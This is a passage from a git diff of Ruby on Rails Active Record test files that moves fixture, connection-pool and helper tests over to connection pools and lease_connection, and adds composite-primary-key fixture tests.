   def test_notification_established_transactions_are_rolled_back
-    # Mocha is not thread-safe so define our own stub to test
     connection = Class.new do
       attr_accessor :rollback_transaction_called
+      attr_accessor :pool
+
       def transaction_open?; true; end
       def begin_transaction(*args); end
       def rollback_transaction(*args)
         @rollback_transaction_called = true
       end
+      def lock_thread=(lock_thread); end
+      def connect!; end
     end.new
-    fire_connection_notification(connection)
+
+    connection.pool = Class.new do
+      attr_accessor :db_config
+
+      def initialize(connection); @connection = connection; end
+      def lease_connection; @connection; end
+      def release_connection; end
+      def pin_connection!(_); end
+      def unpin_connection!; @connection.rollback_transaction; true; end
+    end.new(connection)
+
+    connection.pool.db_config = Class.new do
+      attr_accessor :name
+      def initialize(name); @name = name; end
+    end.new("database_name")
+
+    fire_connection_notification(connection.pool)
     teardown_fixtures
+
     assert(connection.rollback_transaction_called, "Expected <mock connection>#rollback_transaction to be called but was not")
   end
 
-  private
+  def test_transaction_created_on_connection_notification_for_shard
+    connection = Class.new do
+      attr_accessor :pool
 
-    def fire_connection_notification(connection)
-      ActiveRecord::Base.connection_handler.stubs(:retrieve_connection).with("book").returns(connection)
-      message_bus = ActiveSupport::Notifications.instrumenter
-      payload = {
-        spec_name: "book",
-        config: nil,
-        connection_id: connection.object_id
-      }
+      def transaction_open?; end
+      def begin_transaction(*args); end
+      def rollback_transaction(*args); end
+      def connect!; end
+    end.new
+
+    connection.pool = Class.new do
+      attr_accessor :db_config
+
+      def initialize(connection); @connection = connection; end
+      def lease_connection; @connection; end
+      def release_connection; end
+      def pin_connection!(_); end
+      def unpin_connection!; @connection.rollback_transaction; true; end
+    end.new(connection)
+
+    connection.pool.db_config = Class.new do
+      attr_accessor :name
+      def initialize(name); @name = name; end
+    end.new("database_name")
+
+    assert_called_with(connection.pool, :pin_connection!, [true]) do
+      fire_connection_notification(connection.pool, shard: :shard_two)
+    end
+  end
 
-      message_bus.instrument("!connection.active_record", payload) {}
+  private
+    def fire_connection_notification(pool, shard: ActiveRecord::Base.default_shard)
+      assert_called_with(ActiveRecord::Base.connection_handler, :retrieve_connection_pool, ["book"], returns: pool, shard: shard) do
+        message_bus = ActiveSupport::Notifications.instrumenter
+        payload = {
+          connection_name: "book",
+          shard: shard,
+          config: nil
+        }
+
+        message_bus.instrument("!connection.active_record", payload) { }
+      end
     end
 end
 
@@ -690,7 +1209,7 @@ class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
   set_fixture_class funny_jokes: Joke
   fixtures :funny_jokes
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account our set_fixture_class
+  # and thus takes into account our `set_fixture_class`.
   self.use_transactional_tests = false
 
   def test_proper_escaped_fixture
@@ -709,7 +1228,7 @@ def test_this_should_run_cleanly
 
 class FixturesBrokenRollbackTest < ActiveRecord::TestCase
   def blank_setup
-    @fixture_connections = [ActiveRecord::Base.connection]
+    @fixture_connection_pools = [ActiveRecord::Base.connection_pool]
   end
   alias_method :ar_setup_fixtures, :setup_fixtures
   alias_method :setup_fixtures, :blank_setup
@@ -720,12 +1239,14 @@ def blank_teardown; end
   alias_method :teardown_fixtures, :blank_teardown
   alias_method :teardown, :blank_teardown
 
+  fixtures rand.to_s # bypass fixtures cache
+
   def test_no_rollback_in_teardown_unless_transaction_active
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_equal 0, ActiveRecord::Base.lease_connection.open_transactions
     assert_raise(RuntimeError) { ar_setup_fixtures }
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_equal 0, ActiveRecord::Base.lease_connection.open_transactions
     assert_nothing_raised { ar_teardown_fixtures }
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_equal 0, ActiveRecord::Base.lease_connection.open_transactions
   end
 
   private
@@ -736,7 +1257,7 @@ def load_fixtures(config)
 
 class LoadAllFixturesTest < ActiveRecord::TestCase
   def test_all_there
-    self.class.fixture_path = FIXTURES_ROOT + "/all"
+    self.class.fixture_paths = [FIXTURES_ROOT + "/all"]
     self.class.fixtures :all
 
     if File.symlink? FIXTURES_ROOT + "/all/admin"
@@ -747,9 +1268,22 @@ def test_all_there
   end
 end
 
+class LoadAllFixturesWithArrayTest < ActiveRecord::TestCase
+  def test_all_there
+    self.class.fixture_paths = [FIXTURES_ROOT + "/all", FIXTURES_ROOT + "/categories"]
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers namespaced/accounts people special_categories subsubdir/arbitrary_filename tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
+  end
+end
+
 class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
   def test_all_there
-    self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join("all")
+    self.class.fixture_paths = [Pathname.new(FIXTURES_ROOT).join("all")]
     self.class.fixtures :all
 
     if File.symlink? FIXTURES_ROOT + "/all/admin"
@@ -762,7 +1296,7 @@ def test_all_there
 
 class FasterFixturesTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
-  fixtures :categories, :authors
+  fixtures :categories, :authors, :author_addresses
 
   def load_extra_fixture(name)
     fixture = create_fixtures(name).first
@@ -771,8 +1305,8 @@ def load_extra_fixture(name)
   end
 
   def test_cache
-    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "categories")
-    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "authors")
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection_pool, "categories")
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection_pool, "authors")
 
     assert_no_queries do
       create_fixtures("categories")
@@ -780,17 +1314,19 @@ def test_cache
     end
 
     load_extra_fixture("posts")
-    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "posts")
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection_pool, "posts")
     self.class.setup_fixture_accessors :posts
     assert_equal "Welcome to the weblog", posts(:welcome).title
   end
 end
 
 class FoxyFixturesTest < ActiveRecord::TestCase
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  self.use_transactional_tests = false
   fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers,
            :developers, :"admin/accounts", :"admin/users", :live_parrots, :dead_parrots, :books
 
-  if ActiveRecord::Base.connection.adapter_name == "PostgreSQL"
+  if current_adapter?(:PostgreSQLAdapter)
     require "models/uuid_parent"
     require "models/uuid_child"
     fixtures :uuid_parents, :uuid_children
@@ -817,13 +1353,13 @@ def test_identifies_consistently
 
   def test_populates_timestamp_columns
     TIMESTAMP_COLUMNS.each do |property|
-      assert_not_nil(parrots(:george).send(property), "should set #{property}")
+      assert_not_nil(parrots(:george).public_send(property), "should set #{property}")
     end
   end
 
   def test_does_not_populate_timestamp_columns_if_model_has_set_record_timestamps_to_false
     TIMESTAMP_COLUMNS.each do |property|
-      assert_nil(ships(:black_pearl).send(property), "should not set #{property}")
+      assert_nil(ships(:black_pearl).public_send(property), "should not set #{property}")
     end
   end
 
@@ -831,7 +1367,7 @@ def test_populates_all_columns_with_the_same_time
     last = nil
 
     TIMESTAMP_COLUMNS.each do |property|
-      current = parrots(:george).send(property)
+      current = parrots(:george).public_send(property)
       last ||= current
 
       assert_equal(last, current)
@@ -876,16 +1412,28 @@ def test_supports_join_tables
     assert(parrots(:george).pirates.include?(pirates(:blackbeard)))
   end
 
+  def test_supports_timestamps_in_join_tables
+    assert_not_nil developers(:david).created_at
+    assert_not_nil computers(:laptop).created_at
+
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "computers_developers"
+    end
+
+    computers_developers = klass.find_by(developer_id: developers(:david), computer_id: computers(:laptop))
+    assert_not_nil computers_developers.created_at
+  end
+
   def test_supports_inline_habtm
     assert(parrots(:george).treasures.include?(treasures(:diamond)))
     assert(parrots(:george).treasures.include?(treasures(:sapphire)))
-    assert(!parrots(:george).treasures.include?(treasures(:ruby)))
+    assert_not(parrots(:george).treasures.include?(treasures(:ruby)))
   end
 
   def test_supports_inline_habtm_with_specified_id
     assert(parrots(:polly).treasures.include?(treasures(:ruby)))
     assert(parrots(:polly).treasures.include?(treasures(:sapphire)))
-    assert(!parrots(:polly).treasures.include?(treasures(:diamond)))
+    assert_not(parrots(:polly).treasures.include?(treasures(:diamond)))
   end
 
   def test_supports_yaml_arrays
@@ -918,9 +1466,11 @@ def test_supports_polymorphic_belongs_to
   end
 
   def test_only_generates_a_pk_if_necessary
-    m = Matey.first
-    m.pirate = pirates(:blackbeard)
-    m.target = pirates(:redbeard)
+    assert_nothing_raised do
+      m = Matey.take
+      m.pirate = pirates(:blackbeard)
+      m.target = pirates(:redbeard)
+    end
   end
 
   def test_supports_sti
@@ -934,26 +1484,32 @@ def test_supports_sti_with_respective_files
     assert_equal pirates(:blackbeard), dead_parrots(:deadbird).killer
   end
 
+  def test_resolves_enums_in_sti_subclasses
+    assert_predicate parrots(:george), :australian?
+    assert_predicate parrots(:louis), :african?
+    assert_predicate parrots(:frederick), :african?
+  end
+
   def test_namespaced_models
     assert_includes admin_accounts(:signals37).users, admin_users(:david)
     assert_equal 2, admin_accounts(:signals37).users.size
   end
 
   def test_resolves_enums
-    assert books(:awdr).published?
-    assert books(:awdr).read?
-    assert books(:rfr).proposed?
-    assert books(:ddd).published?
+    assert_predicate books(:awdr), :published?
+    assert_predicate books(:awdr), :read?
+    assert_predicate books(:rfr), :proposed?
+    assert_predicate books(:ddd), :published?
   end
 end
 
 class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
-  fixtures :parrots
+  fixtures :organizations
 
   # This seemingly useless assertion catches a bug that caused the fixtures
   # setup code call nil[]
   def test_foo
-    assert_equal parrots(:louis), Parrot.find_by_name("King Louis")
+    assert_equal organizations(:nsa), Organization.find_by_name("No Such Agency")
   end
 end
 
@@ -983,11 +1539,42 @@ def test_named_accessor_for_randomly_named_namespaced_fixture_and_class
   end
 
   def test_table_name_is_defined_in_the_model
-    assert_equal "randomly_named_table2", ActiveRecord::FixtureSet::all_loaded_fixtures["admin/randomly_named_a9"].table_name
+    assert_equal "randomly_named_table2", ActiveRecord::FixtureSet.all_loaded_fixtures["admin/randomly_named_a9"].table_name
     assert_equal "randomly_named_table2", Admin::ClassNameThatDoesNotFollowCONVENTIONS1.table_name
   end
 end
 
+class IgnoreFixturesTest < ActiveRecord::TestCase
+  fixtures :other_books, :parrots, :parrots_pirates, :pirates, :treasures
+
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # without interfering with other tests that use the same `model_class`.
+  self.use_transactional_tests = false
+
+  test "ignores books fixtures" do
+    assert_raise(StandardError) { other_books(:published) }
+    assert_raise(StandardError) { other_books(:published_paperback) }
+    assert_raise(StandardError) { other_books(:published_ebook) }
+
+    assert_equal 2, Book.count
+    assert_equal "Agile Web Development with Rails", other_books(:awdr).name
+    assert_equal "published", other_books(:awdr).status
+    assert_equal "paperback", other_books(:awdr).format
+    assert_equal "english", other_books(:awdr).language
+
+    assert_equal "Ruby for Rails", other_books(:rfr).name
+    assert_equal "ebook", other_books(:rfr).format
+    assert_equal "published", other_books(:rfr).status
+  end
+
+  test "ignores parrots fixtures" do
+    assert_raise(StandardError) { parrots(:DEFAULT) }
+    assert_raise(StandardError) { parrots(:DEAD_PARROT) }
+
+    assert_equal "DeadParrot", parrots(:polly).parrot_sti_class
+  end
+end
+
 class FixturesWithDefaultScopeTest < ActiveRecord::TestCase
   fixtures :bulbs
 
@@ -1036,3 +1623,254 @@ class SameNameDifferentDatabaseFixturesTest < ActiveRecord::TestCase
     assert_kind_of OtherDog, other_dogs(:lassie)
   end
 end
+
+class NilFixturePathTest < ActiveRecord::TestCase
+  test "raises an error when all fixtures loaded" do
+    error = assert_raises(StandardError) do
+      TestCase = Class.new(ActiveRecord::TestCase)
+      TestCase.class_eval do
+        self.fixture_paths = nil
+        fixtures :all
+      end
+    end
+    assert_equal <<~MSG.squish, error.message
+      No fixture path found.
+      Please set `NilFixturePathTest::TestCase.fixture_paths`.
+    MSG
+  end
+end
+
+class FileFixtureConflictTest < ActiveRecord::TestCase
+  def self.file_fixture_path
+    FIXTURES_ROOT + "/all/admin"
+  end
+
+  test "ignores file fixtures" do
+    self.class.fixture_paths = [FIXTURES_ROOT + "/all"]
+    self.class.fixtures :all
+
+    assert_equal %w(developers namespaced/accounts people tasks), fixture_table_names.sort
+  end
+end
+
+class PrimaryKeyErrorTest < ActiveRecord::TestCase
+  test "generates the correct value" do
+    e = assert_raise(ActiveRecord::FixtureSet::TableRow::PrimaryKeyError) do
+      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/primary_key_error", "primary_key_error")
+    end
+
+    assert_includes e.message, "Unable to set"
+  end
+end
+
+class MultipleFixtureConnectionsTest < ActiveRecord::TestCase
+  if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+    include ActiveRecord::TestFixtures
+
+    fixtures :dogs
+
+    def setup
+      @old_handler = ActiveRecord::Base.connection_handler
+      @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(ENV["RAILS_ENV"], "readonly", readonly_config)
+
+      teardown_shared_connection_pool
+
+      handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+      ActiveRecord::Base.connection_handler = handler
+      handler.establish_connection(db_config)
+
+      ActiveRecord::Base.connects_to(database: { writing: :default, reading: :readonly })
+
+      setup_shared_connection_pool
+    end
+
+    def teardown
+      ActiveRecord::Base.configurations = @prev_configs
+      ActiveRecord::Base.connection_handler = @old_handler
+      clean_up_connection_handler
+    end
+
+    def test_uses_writing_connection_for_fixtures
+      ActiveRecord::Base.connected_to(role: :reading) do
+        Dog.first
+
+        assert_nothing_raised do
+          ActiveRecord::Base.connected_to(role: :writing) { Dog.create! alias: "Doggo" }
+        end
+      end
+    end
+
+    def test_writing_and_reading_connections_are_the_same
+      handler = ActiveRecord::Base.connection_handler
+      rw_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :writing).lease_connection
+      ro_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading).lease_connection
+
+      assert_equal rw_conn, ro_conn
+
+      teardown_shared_connection_pool
+
+      rw_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :writing).lease_connection
+      ro_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading).lease_connection
+
+      assert_not_equal rw_conn, ro_conn
+    end
+
+    def test_writing_and_reading_connections_are_the_same_for_non_default_shards
+      ActiveRecord::Base.connects_to shards: {
+        default: { writing: :default, reading: :readonly },
+        two: { writing: :default, reading: :readonly }
+      }
+
+      handler = ActiveRecord::Base.connection_handler
+      rw_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :writing, shard: :two).lease_connection
+      ro_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading, shard: :two).lease_connection
+
+      assert_equal rw_conn, ro_conn
+
+      teardown_shared_connection_pool
+
+      rw_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :writing, shard: :two).lease_connection
+      ro_conn = handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading, shard: :two).lease_connection
+
+      assert_not_equal rw_conn, ro_conn
+    end
+
+    def test_only_existing_connections_are_replaced
+      ActiveRecord::Base.connects_to shards: {
+        default: { writing: :default, reading: :readonly },
+        two: { writing: :default }
+      }
+
+      setup_shared_connection_pool
+
+      assert_raises(ActiveRecord::ConnectionNotDefined) do
+        ActiveRecord::Base.connected_to(role: :reading, shard: :two) do
+          ActiveRecord::Base.retrieve_connection
+        end
+      end
+    end
+
+    def test_only_existing_connections_are_restored
+      clean_up_connection_handler
+      teardown_shared_connection_pool
+
+      assert_raises(ActiveRecord::ConnectionNotDefined) do
+        ActiveRecord::Base.connected_to(role: :reading) do
+          ActiveRecord::Base.retrieve_connection
+        end
+      end
+    end
+
+    private
+      def config
+        { "default" => default_config, "readonly" => readonly_config }
+      end
+
+      def default_config
+        { "adapter" => "sqlite3", "database" => "test/fixtures/fixture_database.sqlite3" }
+      end
+
+      def readonly_config
+        default_config.merge("replica" => true)
+      end
+  end
+
+  class CompositePkFixturesTest < ActiveRecord::TestCase
+    fixtures :cpk_orders, :cpk_books, :cpk_posts, :cpk_tags, :cpk_authors, :cpk_reviews, :cpk_order_agreements
+
+    def test_supports_inline_habtm
+      assert_includes cpk_posts(:welcome).tags, cpk_tags(:cpk_tag_ruby_on_rails)
+      assert_includes cpk_posts(:welcome).tags, cpk_tags(:cpk_tag_digital_product)
+      assert_not_includes cpk_posts(:welcome).tags, cpk_tags(:cpk_tag_loyal_customer)
+
+      assert_equal [cpk_tags(:cpk_tag_digital_product)], cpk_posts(:thinking).tags
+    end
+
+    def test_generates_composite_primary_key_for_partially_filled_fixtures
+      alice = cpk_authors(:cpk_great_author)
+      alice_cpk_book = cpk_books(:cpk_great_author_first_book)
+
+      assert_not_empty(alice_cpk_book.id.compact)
+      assert_equal alice_cpk_book.id.first, alice.id
+      assert_not_nil alice_cpk_book.id.last
+    end
+
+    def test_generates_composite_primary_key_ids
+      assert_not_empty(cpk_orders(:cpk_groceries_order_1).id.compact)
+
+      cpk_books(:cpk_great_author_first_book).id.each do |id_column|
+        assert_not_nil(id_column)
+      end
+    end
+
+    def test_generates_composite_primary_key_with_unique_components
+      assert_equal 2, cpk_orders(:cpk_groceries_order_1).id.uniq.size
+    end
+
+    def test_resolves_associations_using_composite_primary_keys
+      review = cpk_reviews(:first_book_review)
+      generated_book = cpk_books(:cpk_book_with_generated_pk)
+
+      assert_equal generated_book.id, [review.author_id, review.number]
+      assert_equal generated_book, review.book
+    end
+
+    def test_resolves_associations_using_composite_primary_keys_with_partially_filled_values
+      review = cpk_reviews(:second_book_review_for_book_with_partial_pk_defined)
+      book_with_partially_filled_cpk = cpk_books(:cpk_great_author_first_book)
+
+      assert_equal book_with_partially_filled_cpk.id, [review.author_id, review.number]
+      assert_equal book_with_partially_filled_cpk, review.book
+    end
+
+    def test_association_with_custom_primary_key
+      order = cpk_orders(:cpk_groceries_order_2)
+      order_agreement = cpk_order_agreements(:order_agreement_three)
+
+      _, order_id = order.id
+
+      assert_equal order_id, order_agreement.order_id
+      assert_equal order, order_agreement.order
+    end
+
+    def test_composite_identify_resolves_to_same_values
+      identify_one = ActiveRecord::FixtureSet.composite_identify("label", [:a, :b, :c])
+      identify_two = ActiveRecord::FixtureSet.composite_identify("label", [:a, :b, :c])
+
+      assert_equal identify_one, identify_two
+    end
+
+    def test_composite_identify_returns_hash_with_key_names
+      id = ActiveRecord::FixtureSet.composite_identify("order", Cpk::Order.primary_key)
+
+      assert_equal ["shop_id", "id"], id.keys
+    end
+
+    def test_composite_identify_uses_same_hashing_algorithm_as_identify_for_first_attribute
+      id_hash = ActiveRecord::FixtureSet.composite_identify("order", [:first_attribute, :second_attribute])
+      id = ActiveRecord::FixtureSet.identify("order")
+
+      assert_equal id, id_hash[:first_attribute]
+      assert_not_equal id, id_hash[:second_attribute]
+    end
+
+    def test_composite_identify_hashes_one_label_to_same_values_irrespective_of_column_names
+      id_hash_one = ActiveRecord::FixtureSet.composite_identify("order", [:first_attribute, :second_attribute])
+      id_hash_two = ActiveRecord::FixtureSet.composite_identify("order", [:shop_id, :id])
+
+      assert_equal id_hash_one.values, id_hash_two.values
+      assert_not_equal id_hash_one.keys, id_hash_two.keys
+    end
+
+    def test_composite_identify_hashes_to_same_values_based_on_position_in_key
+      id = ActiveRecord::FixtureSet.identify("order")
+      id_hash_two = ActiveRecord::FixtureSet.composite_identify("order", [:one, :two])
+      id_hash_three = ActiveRecord::FixtureSet.composite_identify("order", [:one, :two, :three])
+
+      assert_equal id, id_hash_two.values.first
+      assert_equal id, id_hash_three.values.first
+      assert_equal id_hash_two.values, id_hash_three.values.slice(0, 2)
+    end
+  end
+end
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
index ffa3f63e0dba5..e7e31b6d2dc5d 100644
--- a/activerecord/test/cases/forbidden_attributes_protection_test.rb
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -1,46 +1,12 @@
-require "cases/helper"
-require "active_support/core_ext/hash/indifferent_access"
+# frozen_string_literal: true
 
+require "cases/helper"
 require "models/company"
 require "models/person"
 require "models/ship"
 require "models/ship_part"
 require "models/treasure"
-
-class ProtectedParams
-  attr_accessor :permitted
-  alias :permitted? :permitted
-
-  delegate :keys, :key?, :has_key?, :empty?, to: :@parameters
-
-  def initialize(attributes)
-    @parameters = attributes.with_indifferent_access
-    @permitted = false
-  end
-
-  def permit!
-    @permitted = true
-    self
-  end
-
-  def [](key)
-    @parameters[key]
-  end
-
-  def to_h
-    @parameters
-  end
-
-  def stringify_keys
-    dup
-  end
-
-  def dup
-    super.tap do |duplicate|
-      duplicate.instance_variable_set :@permitted, @permitted
-    end
-  end
-end
+require "support/stubs/strong_parameters"
 
 class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
   def test_forbidden_attributes_cannot_be_used_for_mass_assignment
diff --git a/activerecord/test/cases/habtm_destroy_order_test.rb b/activerecord/test/cases/habtm_destroy_order_test.rb
index 365d4576dddb1..9dbd339fe7d6f 100644
--- a/activerecord/test/cases/habtm_destroy_order_test.rb
+++ b/activerecord/test/cases/habtm_destroy_order_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/lesson"
 require "models/student"
@@ -13,7 +15,7 @@ class HabtmDestroyOrderTest < ActiveRecord::TestCase
         sicp.destroy
       end
     end
-    assert !sicp.destroyed?
+    assert_not_predicate sicp, :destroyed?
   end
 
   test "should not raise error if have foreign key in the join table" do
@@ -28,23 +30,21 @@ class HabtmDestroyOrderTest < ActiveRecord::TestCase
 
   test "not destroying a student with lessons leaves student<=>lesson association intact" do
     # test a normal before_destroy doesn't destroy the habtm joins
-    begin
-      sicp = Lesson.new(name: "SICP")
-      ben = Student.new(name: "Ben Bitdiddle")
-      # add a before destroy to student
-      Student.class_eval do
-        before_destroy do
-          raise ActiveRecord::Rollback unless lessons.empty?
-        end
+    sicp = Lesson.new(name: "SICP")
+    ben = Student.new(name: "Ben Bitdiddle")
+    # add a before destroy to student
+    Student.class_eval do
+      before_destroy do
+        raise ActiveRecord::Rollback unless lessons.empty?
       end
-      ben.lessons << sicp
-      ben.save!
-      ben.destroy
-      assert !ben.reload.lessons.empty?
-    ensure
-      # get rid of it so Student is still like it was
-      Student.reset_callbacks(:destroy)
     end
+    ben.lessons << sicp
+    ben.save!
+    ben.destroy
+    assert_not_empty ben.reload.lessons
+  ensure
+    # get rid of it so Student is still like it was
+    Student.reset_callbacks(:destroy)
   end
 
   test "not destroying a lesson with students leaves student<=>lesson association intact" do
@@ -56,6 +56,6 @@ class HabtmDestroyOrderTest < ActiveRecord::TestCase
     assert_raises LessonError do
       sicp.destroy
     end
-    assert !sicp.reload.students.empty?
+    assert_not_empty sicp.reload.students
   end
 end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 5a3b8e3fb5114..5a823bdf05e39 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "config"
 
 require "stringio"
@@ -6,178 +8,104 @@
 require "cases/test_case"
 require "active_support/dependencies"
 require "active_support/logger"
+require "active_support/core_ext/kernel/reporting"
+require "active_support/core_ext/kernel/singleton_class"
 
-require "support/config"
-require "support/connection"
+if defined?(ActiveRecord::ConnectionAdapters::PostgreSQLAdapter)
+  ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = true
+end
 
 # TODO: Move all these random hacks into the ARTest namespace and into the support/ dir
 
 Thread.abort_on_exception = true
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActiveRecord.deprecator.debug = true
 
-# Disable available locale checks to avoid warnings running the test suite.
-I18n.enforce_available_locales = false
+# ActiveRecord::Base.connection is only soft deprecated but we ban it from the test suite
+# to ensure it's not used internally.
+ActiveRecord.permanent_connection_checkout = :disallowed
 
-# Connect to the database
-ARTest.connect
+ActiveRecord::Delegation::DelegateCache.delegate_base_methods = false
 
-# Quote "type" if it's a reserved word for the current connection.
-QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name("type")
+# Ensure this alias isn't being used by Active Record itself.
+ActiveRecord::Relation.remove_method(:klass)
 
-def current_adapter?(*types)
-  types.any? do |type|
-    ActiveRecord::ConnectionAdapters.const_defined?(type) &&
-      ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters.const_get(type))
-  end
-end
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
 
-def in_memory_db?
-  current_adapter?(:SQLite3Adapter) &&
-  ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
-end
+# Quote "type" if it's a reserved word for the current connection.
+QUOTED_TYPE = ActiveRecord::Base.lease_connection.quote_column_name("type")
 
-def subsecond_precision_supported?
-  ActiveRecord::Base.connection.supports_datetime_with_precision?
-end
+ActiveRecord::Base.automatically_invert_plural_associations = true
 
-def mysql_enforcing_gtid_consistency?
-  current_adapter?(:Mysql2Adapter) && "ON" == ActiveRecord::Base.connection.show_variable("enforce_gtid_consistency")
-end
+ActiveRecord.raise_on_assign_to_attr_readonly = true
+ActiveRecord.belongs_to_required_validates_foreign_key = false
 
-def supports_savepoints?
-  ActiveRecord::Base.connection.supports_savepoints?
-end
+# Ensure that required finder order columns are present in the test suite until
+# this deprecated configuration is removed.
+ActiveRecord.raise_on_missing_required_finder_order_columns = true
 
-def with_env_tz(new_tz = "US/Eastern")
-  old_tz, ENV["TZ"] = ENV["TZ"], new_tz
-  yield
-ensure
-  old_tz ? ENV["TZ"] = old_tz : ENV.delete("TZ")
-end
+ActiveRecord::ConnectionAdapters.register("abstract", "ActiveRecord::ConnectionAdapters::AbstractAdapter", "active_record/connection_adapters/abstract_adapter")
+ActiveRecord::ConnectionAdapters.register("fake", "FakeActiveRecordAdapter", File.expand_path("../support/fake_adapter.rb", __dir__))
 
-def with_timezone_config(cfg)
-  verify_default_timezone_config
+class ActiveRecord::TestCase
+  class SQLSubscriber
+    attr_reader :logged
+    attr_reader :payloads
 
-  old_default_zone = ActiveRecord::Base.default_timezone
-  old_awareness = ActiveRecord::Base.time_zone_aware_attributes
-  old_zone = Time.zone
+    def initialize
+      @logged = []
+      @payloads = []
+    end
 
-  if cfg.has_key?(:default)
-    ActiveRecord::Base.default_timezone = cfg[:default]
-  end
-  if cfg.has_key?(:aware_attributes)
-    ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
-  end
-  if cfg.has_key?(:zone)
-    Time.zone = cfg[:zone]
-  end
-  yield
-ensure
-  ActiveRecord::Base.default_timezone = old_default_zone
-  ActiveRecord::Base.time_zone_aware_attributes = old_awareness
-  Time.zone = old_zone
-end
+    def start(name, id, payload)
+      @payloads << payload
+      @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
+    end
 
-# This method makes sure that tests don't leak global state related to time zones.
-EXPECTED_ZONE = nil
-EXPECTED_DEFAULT_TIMEZONE = :utc
-EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
-def verify_default_timezone_config
-  if Time.zone != EXPECTED_ZONE
-    $stderr.puts <<-MSG
-\n#{self}
-    Global state `Time.zone` was leaked.
-      Expected: #{EXPECTED_ZONE}
-      Got: #{Time.zone}
-    MSG
-  end
-  if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
-    $stderr.puts <<-MSG
-\n#{self}
-    Global state `ActiveRecord::Base.default_timezone` was leaked.
-      Expected: #{EXPECTED_DEFAULT_TIMEZONE}
-      Got: #{ActiveRecord::Base.default_timezone}
-    MSG
-  end
-  if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
-    $stderr.puts <<-MSG
-\n#{self}
-    Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
-      Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
-      Got: #{ActiveRecord::Base.time_zone_aware_attributes}
-    MSG
+    def finish(name, id, payload); end
   end
-end
-
-def enable_extension!(extension, connection)
-  return false unless connection.supports_extensions?
-  return connection.reconnect! if connection.extension_enabled?(extension)
-
-  connection.enable_extension extension
-  connection.commit_db_transaction if connection.transaction_open?
-  connection.reconnect!
-end
-
-def disable_extension!(extension, connection)
-  return false unless connection.supports_extensions?
-  return true unless connection.extension_enabled?(extension)
-
-  connection.disable_extension extension
-  connection.reconnect!
-end
 
-def load_schema
-  # silence verbose schema loading
-  original_stdout = $stdout
-  $stdout = StringIO.new
-
-  adapter_name = ActiveRecord::Base.connection.adapter_name.downcase
-  adapter_specific_schema_file = SCHEMA_ROOT + "/#{adapter_name}_specific_schema.rb"
-
-  load SCHEMA_ROOT + "/schema.rb"
-
-  if File.exist?(adapter_specific_schema_file)
-    load adapter_specific_schema_file
+  module InTimeZone
+    private
+      def in_time_zone(zone)
+        old_zone  = Time.zone
+        old_tz    = ActiveRecord::Base.time_zone_aware_attributes
+
+        Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
+        ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
+        yield
+      ensure
+        Time.zone = old_zone
+        ActiveRecord::Base.time_zone_aware_attributes = old_tz
+      end
   end
-ensure
-  $stdout = original_stdout
-end
-
-load_schema
 
-class SQLSubscriber
